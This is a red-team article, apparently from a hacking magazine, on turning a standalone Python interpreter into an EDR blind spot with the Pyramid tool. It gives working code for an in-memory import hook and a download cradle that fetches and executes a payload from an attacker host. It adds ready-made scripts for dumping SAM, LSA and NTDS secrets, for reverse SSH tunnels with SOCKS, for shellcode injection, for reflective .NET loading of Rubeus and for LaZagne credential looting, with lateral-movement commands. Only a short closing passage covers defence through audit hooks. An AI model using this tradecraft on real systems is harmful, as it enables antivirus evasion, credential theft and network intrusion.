Serpent pyramid. Run malware from the EDR blind spots!

In this article, I’ll show how to modify a standalone Python interpreter so that you can load malicious dependencies directly into memory using the Pyramid tool (not to be confused with the web framework of the same name). Potentially, this enables you to evade antivirus protection in pentesting studies and conceal a suspicious telemetry source from EDR in the course of Red Team operations.

Hackers Creative pentesters invented zillions of  sophisticated techniques to circumvent antivirus mechanisms and EDR solutions: payload obfuscation and encryption, WinAPI dynamic resolution, system calls, deferred execution, EDR hook evasion, signing .exe binaries with spoofed certificates, shellcode fluctuation, call stack spoofing, etc., etc… In fact, this list can be continued endlessly.

Imagine the existence of so-called ‘blind spots’: if you remain within such a spot, you can do whatever you want (within reasonable bounds) with impunity and without the risk of exposing your Red Team operation? In fact, such spots do exists, and this is not Ring 0, but just an ordinary Python interpreter! A huge number of offensive utilities are written in Python, but usually they have to be launched from a remote PC. Why? Oh yeah, dependencies…

This article discusses the Living-Off-the-Blindspot approach presented by researcher Diego Capriotti (@naksyn) at the recent DEF CON 30.

warning

This article is intended for security specialists operating under a contract; all information provided in it is for educational purposes only. Neither the author nor the Editorial Board can be held liable for any damages caused by improper usage of this publication. Distribution of malware, disruption of systems, and violation of secrecy of correspondence are prosecuted by law.

Theory

First, let’s figure out why your antivirus (or EDR) knows everything about you, then conceive the principle of ‘fileless’ import of modules in Python, and finally examine its implementation in Pyramid. For the first two topics, I will use original slides from Diego Capriotti’s presentation.

The two most popular techniques used to analyze the behavior of programs are:

  • Windows (Win32 or Native) API hooks in user space; and 
  • subscription to notifications about sensitive events in the kernel space.

Hooks in userland

EDR VISIBILITY - Usermode Hooks (source: Python vs. Modern Defenses)
EDR VISIBILITY – Usermode Hooks (source: Python vs. Modern Defenses)

To track abuses of Windows API mechanisms, your antivirus most probably jump patches implementations of functions from the user32.dll and ntdll.dll libraries after the analyzed process loads them into memory. After calling these seemingly original WinAPI functions, the unsuspecting processor encounters the respective jump pointing to a memory area in the library already loaded by the protection tool and follows it; as a result, control over the program execution flow is passed to the antivirus.

Now the antivirus can investigate your process in any way, examine its virtual memory, and perform various checks. Ultimately, it will deliver a verdict: either “guilty” (block the execution of the API function or even kill the process) or “not guilty” (pass the execution flow back to the original program).

A similar principle is used in the fluctuating shellcode technique; a jump (i.e. patch used to seize control over the kernel32!Sleep function) looks something like this:

/*
{ 0x49, 0xBA, 0x37, 0x13, 0xD3, 0xC0, 0x4D, 0xD3, 0x37, 0x13, 0x41, 0xFF, 0xE2 }
Disassembly:
0: 49 ba 37 13 d3 c0 4d movabs r10,0x1337d34dc0d31337
7: d3 37 13
a: 41 ff e2 jmp r10
*/
uint8_t trampoline[] = {
0x49, 0xBA, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, // mov r10, addr
0x41, 0xFF, 0xE2 // jmp r10
};

www

I strongly recommended reviewing the article entitled A tale of EDR bypass methods by @ShitSecure: it explains popular tricks used by security tools and ways to evade them in simple terms. Among other things, it discusses hooks in userland.

Callback notifications in kernel

EDR VISIBILITY - Kernel Callbacks (source: Python vs. Modern Defenses)
EDR VISIBILITY – Kernel Callbacks (source: Python vs. Modern Defenses)

A much more powerful tool designed to maintain control over the behavior of processes is implemented in the Notification Callback Routines kernel mechanism. It provides interfaces to implement subscription functions to potentially harmful events (e.g. the ntdll!NtCreateProcess call). When a new process creation notification is received, EDR rushes to inject its libraries into the target process to be able to patch standard Windows API libraries as described in the previous chapter.

Another good example demonstrating why kernel callbacks are so important is the timeline for preventing access to the memory of the lsass.exe process; it’s described in another cool research presented at DEF CON 30: EDR detection mechanisms and bypass techniques with EDRSandBlast by @th3m4ks and @_Qazeer.

How come the EDR knows everything? (source: EDR detection mechanisms and bypass techniques with EDRSandBlast)
How come the EDR knows everything? (source: EDR detection mechanisms and bypass techniques with EDRSandBlast)

For instance, if an antivirus or EDR receives notifications of unwanted events at each LSASS dump stage (i.e. creating a dumper process, receiving the lsass.exe handle, reading lsass.exe memory, and creating a file containing the resulting memory snapshot), it can build multilevel protection preventing an attacker from extracting credentials from memory of the network node.

There are plenty of other approaches developed to prevent malicious activities on endpoints (e.g. scheduled memory scans of running processes), but they are beyond the scope of this article.

EDR blind spots

Attacker
Attacker’s Pyramid of Pain

In the original article, the author divides EDR bypass strategies into four main types. I suggest to reduce this number to three:

  1. Minimize your presence on the node where EDR is installed. To ensure this, you should have a SOCKS proxy on the victim’s side and route traffic through it to the internal network or to the local resources of the victim PC (Impacket will assist you in this);
  2. Engage in an a priori unequal battle with EDR: unhook libraries, crypt your arsenal, operate with sleep 100500 by executing one command a day, and keep in mind risks associated with each character entered in the console. It’s difficult (very difficult). Normally, you can afford this luxury if all your tools are custom-made, but I still cannot understand how people use Cobalt Strike during Red Team engagements; and 
  3. Act from EDR blind spots by using legitimate administration and development tools for malicious purposes (e.g. weaponize an official (and signed) Python binary for malware tradecraft directly on the victim’s PC.

What happens inside the Python interpreter and how to understand its various behavior markers? “Damned if I know…” – will answer not only most of us, but also many security software vendors. The beauty of Python is that, starting from version 3.7, the official build of the interpreter is a standalone package that doesn’t require installation on the host.

In addition, as long as you stay within the interpreter boundaries (i.e. don’t make injections into other processes or create new ones), all telemetry comes from the signed python.exe, which significantly complicates life for security software.

So what do you need to weaponize a standalone Python interpreter?

Fileless dependency import

First of all, let’s find out whether you really need to load modules directly into memory? Why not drop them on the host – just next to the interpreter?

Statistical analysis vs. Impacket source code
Statistical analysis vs. Impacket source code

As you can see, such a trick won’t work. Generally speaking, saving anything to disk is a bad practice that should be avoided wherever possible.

Disclaimer: AV vendor

In this study, I will again use Kaspersky Endpoint Security to evaluate results of my experiments. To avoid any accusations or speculations that I have a bone to pick with this product (since it’s not the first time I use it in my articles), I want to put the things right.

  1. Based on my personal experience, KES is the best antivirus solution in the RU segment. Therefore, my logic is simple: if you circumvent it, then, most likely, you would be able to circumvent products of other vendors as well; and 
  2. Most often, we (Security Analysis Department at Angara Security) have to deal with KES in our pentest engagements and Red Team ops; accordingly, it’s logical to examine its reaction to ‘external impacts’ in order to know what to expect.

In addition, I know that my colleagues ‘on the other side’ of the defense sometimes read my articles; so, consider this my humble contribution to the improvement of this product.

In Python, the magic of fileless import of external modules is contained in the Meta Import Hooks feature introduced by benevolent dictator for life Guido van Rossum in PEP 302. In this context, Meta hooks represent an import resolution mechanism implemented as a class that ‘fires’ at the very beginning of the module search algorithm. To compare, there is another way to import dependencies: Path Import Hooks. As you can guess from its name, this mechanism searches for the required module using certain paths already known to the interpreter.

Current values of Meta hooks can be viewed in the sys.meta_path variable; Path hooks, in sys.path.

Default Import hooks for Embeddable Python
Default Import hooks for Embeddable Python

So, all you have to do is write your own module importer class to receive modules in the form of archives (e.g. over HTTP) and register it as a Meta hook. Easy!

Now let’s see how this class is implemented in the Pyramid tool.

CFinder

As you know, everything new is actually well-forgotten old. The history of the CFinder (Custom Finder) class goes back to 2015: it was borrowed by the EmpireProject team from the remote_importer project to implement the EmPyre C2 agent; subsequently, CFinder was used in some other offensive frameworks as well.

Let’s examine it from top to bottom starting with helper methods.

CFinder._get_info

class CFinder():
def __init__(self, repo_name):
self.repo_name = repo_name
self._source_code = {}
def _get_info(self, repo_name, full_name):
parts = full_name.split('.')
submodule = parts[-1]
module_path = '/'.join(parts)
for suffix, is_package in (('.py', False), ('/__init__.py', True)):
relative_path = module_path + suffix
try:
ZIPPED[repo_name].getinfo(relative_path)
except KeyError:
continue
else:
return submodule, is_package, relative_path
raise ImportError(f'Unable to locate module {submodule} in the {repo_name} repo')

The constructor takes the name of the module you want to import as an argument, and the _get_info method provides information about the presence of one or another python file in the ZIP archive. If the interpreter processing yet another source code encounters an import <MODULE_NAME> instruction (either in a top-level script or in imports of other modules), and other importers cannot execute it, this helper method will try to resolve the dependency: first, using the path ARCHIVE → <MODULE_NAME>.py; and then, if the first attempt fails, using the path ARCHIVE → <MODULE_NAME>/__init__.py.

For illustration purposes, I take a simple and well-known module called colorama and add the following line before the return keyword:

print(submodule, is_package, relative_path)

Then I load the module from memory. The loading details are of no interest at this point; just look at the print output.

Imports in the colorama module
Imports in the colorama module

As you can see, information about all imports performed while loading the colorama module was resolved recursively. Let’s go on.

CFinder._get_source

def _get_source_code(self, repo_name, full_name):
submodule, is_package, relative_path = self._get_info(repo_name, full_name)
full_path = f'{repo_name}/{relative_path}'
if relative_path in self._source_code:
code = self._source_code[relative_path]
return submodule, is_package, full_path, code
try:
code = ZIPPED[repo_name].read(relative_path).decode()
code = code.replace('\r\n', '\n').replace('\r', '\n')
self._source_code[relative_path] = code
return submodule, is_package, full_path, code
except:
raise ImportError(f'Unable to obtain source code for module {full_path}')

The _get_source_code helper method requests information about the location of the file containing the desired source code and required during import using the above-described _get_info method. When the file is found, the method gets to it into the ZIP archive following the provided path, reads its contents, and returns it as output together with additional information about the module name and location. So far, everything is simple.

Contents of files with Colorama source code
Contents of files with Colorama source code

CFinder.find_module

def find_module(self, full_name, path=None):
try:
self._get_info(self.repo_name, full_name)
except ImportError:
return None
return self

This is the most interesting part: methods that will be used by the interpreter after registering a Meta hook. The find_module method must be present in the resolver class to return information about the module loader. In this particular case, it’s just a wrapper over the previously implemented _get_info method.

CFinder.load_module

def load_module(self, full_name):
_, is_package, full_path, source = self._get_source_code(self.repo_name, full_name)
code = compile(source, full_path, 'exec')
spec = importlib.util.spec_from_loader(full_name, loader=None)
module = sys.modules.setdefault(full_name, importlib.util.module_from_spec(spec))
module.__loader__ = self
module.__file__ = full_path
module.__name__ = full_name
if is_package:
module.__path__ = [os.path.dirname(module.__file__)]
exec(code, module.__dict__)
return module

The heart of the CFinder class is the load_module method that calls the built-in compile function to precompile the code of the imported module and prepare it for subsequent passing to the exec function as input. Also within the framework of this method, the module object is modified so that from the interpreter’s perspective, it doesn’t differ from a ‘regular’ import from disk.

Generally speaking, that’s all the magic. The Pyramid code includes implementations of some other methods, including get_data and get_code, but in this particular case, they are of no interest and can be excluded from the final implementation.

Using CFinder

@staticmethod
def install_hook(repo_name):
if repo_name not in META_CACHE:
finder = CFinder(repo_name)
META_CACHE[repo_name] = finder
sys.meta_path.append(finder)
@staticmethod
def hook_routine(zip_name, zip_bytes):
ZIPPED[zip_name] = ZipFile(io.BytesIO(zip_bytes), 'r')
CFinder.install_hook(zip_name)

This custom class is easy-to-use: first, you call the CFinder.hook_routine static method and pass to it the name and bytes (i.e. contents) of the ZIP archive downloaded from the outside. This stuff is stored in the globally defined ZIPPED dictionary mentioned in the code earlier, and then the Meta hook is registered by the install_hook function. The latter one adds an instance of your custom CFinder class to the sys.meta_path list. Now when you attempt to perform an import not allowed by any other importer, CFinder will come into play and load the required module from memory.

def build_http_request(filename):
context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
request = urllib.request.Request(f'https://{PYRAMID_HOST}:{PYRAMID_PORT}/{filename}.zip')
auth = b64encode(bytes(f'{PYRAMID_USERNAME}:{PYRAMID_PASSWORD}', 'ascii')).decode()
request.add_header('Authorization', f'Basic {auth}')
return context, request
def download_and_import():
for module in PYRAMID_TO_IMPORT:
print(f'[*] Downloading and importing module in memory: {module}')
context, request = build_http_request(module)
with urllib.request.urlopen(request, context=context) as response:
zip_bytes = response.read()
CFinder.hook_routine(module, zip_bytes)
print('[+] Hooks installed!')

For the sake of order, I also provide here the final helper functions that retrieve ZIP archives from a remote server with Basic authentication over HTTPS. Everything seems to be clear without additional explanations.

Special import cases

Too bad, not all Python modules can be loaded from memory. These primarily applies to .pyd files representing dynamically shared libraries containing Python bytecode and standard Windows DLLs that come with some modules.

For instance, such stuff is present in libraries with cryptography that are always required when you deal with protocols.

PYD files in the Cryptodome module
PYD files in the Cryptodome module

To satisfy such dependencies, you have to download and extract them to disk. The download_and_unpack helper is responsible for this:

def download_and_unpack():
for module in PYRAMID_TO_UNPACK:
print(f'[*] Downloading and unpacking module: {module}')
context, request = build_http_request(module)
with urllib.request.urlopen(request, context=context) as response:
zip_bytes = response.read()
with ZipFile(io.BytesIO(zip_bytes), 'r') as z:
z.extractall(os.getcwd())

Full code of the program that I got after a minor refactoring of the original project can be found in my GitHub repository. It also contains presets that can be used to generate combat scripts on the basis of a common template; I will show how to use them in the next chapter.

www

While preparing materials for this article, I found an interesting repository httpimport; based on its description, this ‘Python’s missing feature’ supports all functions implemented in my project, but with additional tweaks. I didn’t have an opportunity to test this code, but it might be of interest to you to play with it.

Pyramid in action

impacket-secretsdump

Imagine that you have got access to a PC whose EDR prevents you from dumping LSA secrets, accessing the SAM storage, or delivering a DCSync attack because Invoke-Mimikatz.ps1 cannot be loaded to memory.

Of course, the first thing that comes to mind is to use secretsdump.py from the Impacket collection: it can help you to accomplish any of the above tasks. But as you understand, you cannot simply drop the Impacket module on disk and have to proxy traffic to the internal network in order to use secretsdump.py remotely. But this can as well be done on the victim machine using fileless dependency imports.

To run secretsdump.py, you have to repackage the Impacket dependency list, and the author of the tool has already done this job. Later, I will show how this can be used to run other modules, but for now let’s use ready-made archives from the Server directory.

For clarity purposes, I prepared several simple Bash scripts that generate the final payload. The script that builds secretsdump.py looks as follows:

#!/usr/bin/env bash
cat << EOT > pwn.py
PYRAMID_HOST = '10.10.13.37'
PYRAMID_PORT = '443'
PYRAMID_USERNAME = 'attacker'
PYRAMID_PASSWORD = 'Passw0rd1!'
PYRAMID_TO_UNPACK = ('Cryptodome',)
PYRAMID_TO_IMPORT = (
'setuptools',
'pkg_resources',
'jaraco',
'_distutils_hack',
'distutils',
'cffi',
'configparser',
'future',
'chardet',
'flask',
'ldap3',
'ldapdomaindump',
'pyasn1',
'OpenSSL',
'pyreadline',
'six',
'markupsafe',
'werkzeug',
'jinja2',
'click',
'itsdangerous',
'dns',
'impacket',)
SECRETSDUMP_TARGET = '127.0.0.1'
SECRETSDUMP_DOMAIN = 'megacorp.local'
SECRETSDUMP_USERNAME = 'j.doe'
SECRETSDUMP_PASSWORD = 'Passw0rd2!'
EOT
cat {cfinder,secretsdump}.py >> pwn.py

In this script, cfinder.py is a template containing the base implementation of the CFinder class, while secretsdump.py is a slightly modified secretsdump.py with a predefined set of SECRETSDUMP_* variables (input parameters) specified above.

For file hosting purposes, the author suggests using his own implementation of a simple Python HTTPS server with Basic authentication, but I will use my favorite http-server server that proved to be effective in pentesting studies.

I generate the final payload, and then, in two commands, I create a self-signed SSL certificate and deploy an HTTP server specifying credentials for Basic authentication.

$ ./secretsdump.sh
$ openssl req -newkey rsa:2048 -new -nodes -x509 -days 3650 -keyout key.pem -out cert.pem
$ http-server -d false -p 443 -S --username attacker --password 'Passw0rd1!'
Preparing an HTTP server with an SSL certificate and Basic authentication
Preparing an HTTP server with an SSL certificate and Basic authentication

After that, I download the latest release of the standalone Python interpreter to my makeshift victim machine from the official website, run python.exe as administrator, and execute the loader commands.

import ssl
import urllib.request
from base64 import b64encode
context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
context.check_hostname = False
context.verify_mode = ssl.CERT_NONE
request = urllib.request.Request('https://10.10.13.37/pwn.py')
auth = b64encode(bytes('attacker:Passw0rd1!', 'ascii')).decode()
request.add_header('Authorization', f'Basic {auth}')
payload = urllib.request.urlopen(request, context=context).read()
exec(payload)
Dumping SAM hashes и LSA secrets on a PC with EDR
Dumping SAM hashes и LSA secrets on a PC with EDR

Voila! I retrieved the SAM and LSA contents without entering any dangerous commands (e.g. reg save hklm\system ololo.hive). In the same way, I can dump NTDS in a domain environment remotely without using tools like Mimikatz.

DCSync the Planet!
DCSync the Planet!

SOCKS over SSH

As mentioned more than once, setting up a SOCKS connection with the victim PC is a routine task for any ethical hacker. And Pyramid can help you with this as well.

The Paramiko module includes a ready-made SSH client that can be used to establish a reverse connection with the attacker’s PC over SSH, reverse forward a local port from the victim to the attacker, and deploy on the victim a SOCKS5 server listening on the forwarded port.

First, let’s see how it works in laboratory conditions. From the victim, I connect to my Kali PC over SSH and deploy a SOCKS server on the forwarded port using pproxy.

PS > ssh -R 444:127.0.0.1:443 snovvcrash@192.168.1.80
PS > pip install pproxy
PS > pproxy -l "http+socks4+socks5://127.0.0.1:443"
Reverse SSH + SOCKS5 = ❤️
Reverse SSH + SOCKS5 = ❤️

Now I can configure ProxyChains on port 444 and interact with the internal network of my impromptu ‘customer’.

Let’s craft a script to be run from memory. For this purpose, the author combined the rforward implementation from Paramiko with the above-described pproxy module. And again, there are some dependencies that must be unpacked to disk: cryptography in .pyd files for SSH.

#!/usr/bin/env bash
cat << EOT > pwn.py
PYRAMID_HOST = '10.10.13.37'
PYRAMID_PORT = '443'
PYRAMID_USERNAME = 'attacker'
PYRAMID_PASSWORD = 'Passw0rd1!'
PYRAMID_TO_UNPACK = ('paramiko_pyds_dependencies',)
PYRAMID_TO_IMPORT = (
'six',
'cffi',
'paramiko',
'proto',)
SSH_USERNAME = 'attacker'
SSH_PASSWORD = 'Passw0rd2!'
SSH_CONNECTION = ('10.10.13.37', int('22')) # Attacker
SSH_REMOTE_FORWARD = '444' # Listening on Attacker
SSH_LOCAL_FORWARD = '443' # Forwarded to Victim
SSH_FORWARD_CONNECTION = ('127.0.0.1', int(SSH_LOCAL_FORWARD))
SOCKS_CONNECTION = f'http+socks4+socks5://127.0.0.1:{SSH_LOCAL_FORWARD}'
EOT
cat {cfinder,socks5}.py >> pwn.py

In this example, I’m going to demonstrate that the Pyramid technique is applicable even in situations when the attacker doesn’t have access to the graphical shell of the target system. First, I use smbclient to recursively transfer the contents of the Python interpreter directory.

$ curl -sSL https://www.python.org/ftp/python/3.10.8/python-3.10.8-embed-amd64.zip > python-3.10.8-embed-amd64.zip
$ mkdir python-3.10.8-embed-amd64
$ cd python-3.10.8-embed-amd64
$ unzip -q ../python-3.10.8-embed-amd64.zip
$ vi cradle.py
$ smbclient '//VICTIM/C$' -U j.doe%'Passw0rd3!' -c '
prompt OFF;
recurse ON;
cd \Users\j.doe\Downloads;
mkdir python-3.10.8-embed-amd64;
cd python-3.10.8-embed-amd64;
mput \*'
Transferring Python interpreter
Transferring Python interpreter

Now all you have to do is run on the victim PC a single command that launches the headless python – pythonw.exe – and specify the path to the primary loader script. After that, you can relax and enjoy the show.

$ wmiexec.py j.doe:'Passw0rd3!'@VICTIM '\Users\j.doe\Downloads\python-3.10.8-embed-amd64\pythonw.exe \Users\j.doe\Downloads\python-3.10.8-embed-amd64\cradle.py' -nooutput -silentcommand
Tunnels, tunnels, tunnels!..
Tunnels, tunnels, tunnels!..

As you can see, despite active antivirus protection, I managed to establish a reverse SSH connection, started a SOCKS server over it, and now I can interact with resources stored on the internal corporate network of my fictitious ‘customer’. Important: all these actions were performed in memory without dropping suspicious executable files on disk!

Python.NET

The author of the tool suggests an interesting way to run other programs inside the Python interpreter process: convert shellcode from BOF (Beacon Object Files) using the BOF2shellcode tool and then inject them into the local Python process using the standard API trio (HeapCreate, RtlMoveMemory, and CreateThread):

HeapCreate = ctypes.windll.kernel32.HeapCreate
HeapCreate.argtypes = [wt.DWORD, ctypes.c_size_t, ctypes.c_size_t]
HeapCreate.restype = wt.HANDLE
RtlMoveMemory = ctypes.windll.kernel32.RtlMoveMemory
RtlMoveMemory.argtypes = [wt.LPVOID, wt.LPVOID, ctypes.c_size_t]
RtlMoveMemory.restype = wt.LPVOID
CreateThread = ctypes.windll.kernel32.CreateThread
CreateThread.argtypes = [
wt.LPVOID, ctypes.c_size_t, wt.LPVOID,
wt.LPVOID, wt.DWORD, wt.LPVOID
]
CreateThread.restype = wt.HANDLE
WaitForSingleObject = kernel32.WaitForSingleObject
WaitForSingleObject.argtypes = [wt.HANDLE, wt.DWORD]
WaitForSingleObject.restype = wt.DWORD
heap = HeapCreate(0x00040000, len(sc), 0)
HeapAlloc(heap, 0x00000008, len(sc))
print('[*] HeapAlloc() Memory at: {:08X}'.format(heap))
RtlMoveMemory(heap, sc, len(sc))
print('[*] Shellcode copied into memory.')
thread = CreateThread(0, 0, heap, 0, 0, 0)
print('[*] CreateThread() in same process.')
WaitForSingleObject(thread, 0xFFFFFFFF)

I have chosen another way: bring on the victim PC CLR of the .NET code called from Python. In other words, I modify the Python.NET module so that it can be used with Pyramid. As a result, I can load .NET programs from the Python interpreter process memory using the Reflective Assembly principle. This doesn’t relieve me from the need to evade AMSI during the execution; for that purpose, I use another trick: donut!

The idea is to convert an obviously malicious (and detectable by any AV) .NET assembly into a position-independent shellcode and use it in combination with a trivial C# injector. The creation of an undetectable injector was discussed in detail in the article about KeePass, but for this demo, I will use my private tool that generates such injectors automatically.

I love donuts!
I love donuts!

After compiling the injector, I compress it and wrap in Base64:

>>> import zlib
>>> from base64 import b64encode
>>>
>>> with open('Program.exe', 'rb') as f:
>>> b64encode(zlib.compress(f.read(), level=9)).decode() # <ASSEMBLY_BYTES_BASE64>

Now, using this simple template, you can call offensive .NET assemblies from Python memory:

import clr
import zlib
import base64
clr.AddReference('System')
from System import *
from System.Reflection import *
b64 = base64.b64encode(zlib.decompress(base64.b64decode(b'<ASSEMBLY_BYTES_BASE64>'))).decode()
raw = Convert.FromBase64String(b64)
assembly = Assembly.Load(raw)
type = assembly.GetType('Namespace.Type')
type.GetMethod('Method').Invoke(Activator.CreateInstance(type), None)

www

In this article, Blue Team members analyze an IronPython-based malware loader with roughly the same functionality:

Here is another makeshift script that specifies dependencies required to put the templates together and run Rubeus on a PC protected by EDR.

#!/usr/bin/env bash
cat << EOT > pwn.py
PYRAMID_HOST = '10.10.13.37'
PYRAMID_PORT = '443'
PYRAMID_USERNAME = 'attacker'
PYRAMID_PASSWORD = 'Passw0rd1!'
PYRAMID_TO_UNPACK = ('pythonnet',)
PYRAMID_TO_IMPORT = (
'cffi',
'pycparser',)
EOT
cat {cfinder,clr}.py >> pwn.py
Hagrid would be proud of us 😢
Hagrid would be proud of us 😢

LaZagne

Many of my colleagues were eager to run the LaZagne loot collection tool from memory; so, my first objective when I started playing with Pyramid was to fulfill their dream. The next example demonstrates that any Python module can be ported for fileless import using CFinder.

First, it’s necessary to compile a list of dependencies required to run LaZagne correctly. I produced it through trial and error because I’m lazy, but the correct approach would be as follow: (1) examine LaZagne requirements.txt; (2) examine Pypykatz install_requires; and (3) take from this list only what is actually used in LaZagne. My list looks as follows:

#!/usr/bin/env bash
cat << EOT > pwn.py
PYRAMID_HOST = '10.10.13.37'
PYRAMID_PORT = '443'
PYRAMID_USERNAME = 'attacker'
PYRAMID_PASSWORD = 'Passw0rd1!'
PYRAMID_TO_UNPACK = ('Cryptodome',)
PYRAMID_TO_IMPORT = (
'future',
'pyasn1',
'rsa',
'asn1crypto',
'unicrypto',
'minidump',
'minikerberos',
'pypykatz',
'lazagne',)
LAZAGNE_MODULE = 'all'
LAZAGNE_VERBOSITY = '-vv' # '' / '-v' / '-vv'
EOT
cat {cfinder,lazagne}.py >> pwn.py

Then I download all dependencies contained in the source code locally to my PC:

$ wget https://files.pythonhosted.org/packages/45/0b/38b06fd9b92dc2b68d58b75f900e97884c45bedd2ff83203d933cf5851c9/future-0.18.2.tar.gz
$ tar -xf future-0.18.2.tar.gz && rm future-0.18.2.tar.gz
$ git clone https://github.com/etingof/pyasn1
$ wget https://files.pythonhosted.org/packages/aa/65/7d973b89c4d2351d7fb232c2e452547ddfa243e93131e7cfa766da627b52/rsa-4.9.tar.gz
$ tar -xf rsa-4.9.tar.gz && rm rsa-4.9.tar.gz
$ git clone https://github.com/wbond/asn1crypto
$ git clone https://github.com/skelsec/unicrypto
$ git clone https://github.com/skelsec/minidump
$ git clone https://github.com/skelsec/minikerberos
$ git clone https://github.com/skelsec/pypykatz
$ git clone https://github.com/AlessandroZ/LaZagne

Since ZIP archives stored in Python memory don’t support the relative path concept, I have to replace relative imports with absolute ones and specify full paths to the modules in each of the .py files so that the resulting packed modules don’t have any relative paths inside.

Relative imports are NOT welcome!
Relative imports are NOT welcome!

For this purpose, I wrote a simple script that iterates through all the source code files and uses regular expressions to ‘fix’ the ‘broken’ imports:

#!/usr/bin/env python3
import os
import re
import sys
from glob import glob
from pathlib import Path
from zipfile import ZipFile
from binaryornot.check import is_binary
base_cwd = os.getcwd()
os.chdir(sys.argv[1])
cwd = Path.cwd().stem
for file in glob(str('**/*.py'), recursive=True):
if not is_binary(file):
import_path = str((Path(cwd)).joinpath(file).parent)
import_path = import_path.replace('.py', '').replace('/', '.')
with open(file, 'r', encoding='utf-8') as f:
contents = f.read()
# (from . )import -> (from qwe.asd )import
contents = re.sub(r'from\s+\.\s+', f'from {import_path} ', contents)
# (from .a)bc import -> (from zxc.a)bc import
contents = re.sub(r'from\s+\.([a-zA-Z])', f'from {import_path}.\\1', contents)
with open(file, 'w', encoding='utf-8') as f:
f.write(contents)
os.chdir('..')
os.system(f'zip -qr {cwd}.zip {cwd}')
os.system(f'mv {cwd}.zip {base_cwd}')

Run this script specifying paths to each module that has to be packed – and you’ll get all ZIP archives required to run the looter in your current directory.

$ ./fix_imports.py future-0.18.2/src/future
$ ./fix_imports.py pyasn1/pyasn1
$ ./fix_imports.py rsa-4.9/rsa/
$ ./fix_imports.py asn1crypto/asn1crypto
$ ./fix_imports.py unicrypto/unicrypto
$ ./fix_imports.py minidump/minidump
$ ./fix_imports.py minikerberos/minikerberos
$ ./fix_imports.py pypykatz/pypykatz
$ ./fix_imports.py LaZagne/Windows/lazagne
Fixing relative imports
Fixing relative imports

Of course, to ensure that LaZagne runs correctly on Python 3, I had had to perform more manipulations with its source code, but such actions are specific for each module. The ultimate result of this work can be found in the repository of the Pyramid’s author.

As a result, the worst nightmare of SOC operatives comes true: you can run LaZagne without alerting the AV!

Would you like some LaZagne?
Would you like some LaZagne?

Conclusions

In my opinion, the above-described technique – fileless malware code delivery and execution from the AV or EDR blind zone (in fact, a ‘vanilla’ Python interpreter) – is very promising. The provided examples are just the tip of the iceberg: for instance, the author of the Pupy C2 framework uses a rebuilt interpreter that is loaded from memory according to the Reflective DLL principle and can use the .pyc and .pyd extensions without writing them to disk.

Another example is the Medusa agent in the Mythic C2 framework: it can remotely import required Python dependencies from memory by operator command.

To improve Pyramid, one could write helper functions to import dependencies from a single encrypted archive that can be put on disk next to the interpreter: this would be very used in situations when the attacker cannot retrieve ZIP archives over HTTP. Let this be your homework.

And finally, a few words about protection against this serpent rampage. There is a concept called Python Runtime Audit Hooks; it was proposed in PEP 578. In the framework of this concept, the interpreter provides to developers, administrators, and security software special interfaces making it possible to keep track of all strange and obviously dangerous events that occur in it (e.g. what is passed to such functions as compile, exec, eval, and import). This feature would even help to protect against the module import logic implemented in Pyramid.

Python Runtime Audit Hooks (PEP 578)
Python Runtime Audit Hooks (PEP 578)

But, as usual, this is difficult, boring, of no interest, and practically not used at the moment (although @SkelSec is already of disappoint). In fact, experimental tools that log events coming from security hooks have already been implemented in Windows Event Log and some other projects, but this is a completely different story


Leave a Reply

XHTML: You can use these tags: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>